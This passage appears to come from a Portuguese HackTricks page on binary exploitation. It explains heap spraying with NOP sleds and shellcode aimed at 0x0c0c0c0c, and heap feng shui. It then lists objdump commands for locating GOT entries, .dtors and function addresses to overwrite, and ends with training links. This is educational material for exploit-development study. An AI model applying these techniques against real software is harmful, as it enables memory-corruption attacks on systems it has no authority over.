Basicamente consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops seguido de uma shellcode. Além disso, o colchão é preenchido com 0x0c. Assim, tenta-se saltar para o endereço 0x0c0c0c0c e, se alguma direção for sobrescrita com esse colchão, o controle será transferido para lá. Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e saltar para 0x0c0c0c0c, esperando que haja nops lá.
|
|||
|
|
|||
|
**Heap Feng Shui**
|
|||
|
|
|||
|
Consiste em cimentar a memória por meio de reservas e liberações, de modo que pedaços reservados fiquem entre pedaços livres. O buffer a ser transbordado será colocado em um desses espaços.
|
|||
|
|
|||
|
**objdump -d executável** —> Desassemblar funções\
|
|||
|
**objdump -d ./PROGRAMA | grep FUNÇÃO** —> Obter endereço da função\
|
|||
|
**objdump -d -Mintel ./shellcodeout** —> Para verificar se é realmente nossa shellcode e obter os OpCodes\
|
|||
|
**objdump -t ./exec | grep varBss** —> Tabela de símbolos, para obter o endereço de variáveis e funções\
|
|||
|
**objdump -TR ./exec | grep exit(func lib)** —> Para obter o endereço de funções de bibliotecas (GOT)\
|
|||
|
**objdump -d ./exec | grep funcCode**\
|
|||
|
**objdump -s -j .dtors /exec**\
|
|||
|
**objdump -s -j .got ./exec**\
|
|||
|
**objdump -t --dynamic-relo ./exec | grep puts** —> Obtém o endereço de puts a ser sobrescrito no GOT\
|
|||
|
**objdump -D ./exec** —> Desassemblar TUDO até as entradas da plt\
|
|||
|
**objdump -p -/exec**\
|
|||
|
**Info functions strncmp —>** Informações da função no gdb
|
|||
|
|
|||
|
## Cursos Interessantes
|
|||
|
|
|||
|
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
|||
|
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
|||
|
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
|||
|
|
|||
|
## **Referências**
|
|||
|
|
|||
|
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Aprenda hacking AWS do zero ao hero com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Outras formas de apoiar o HackTricks:
|
|||
|
|
|||
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|||
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|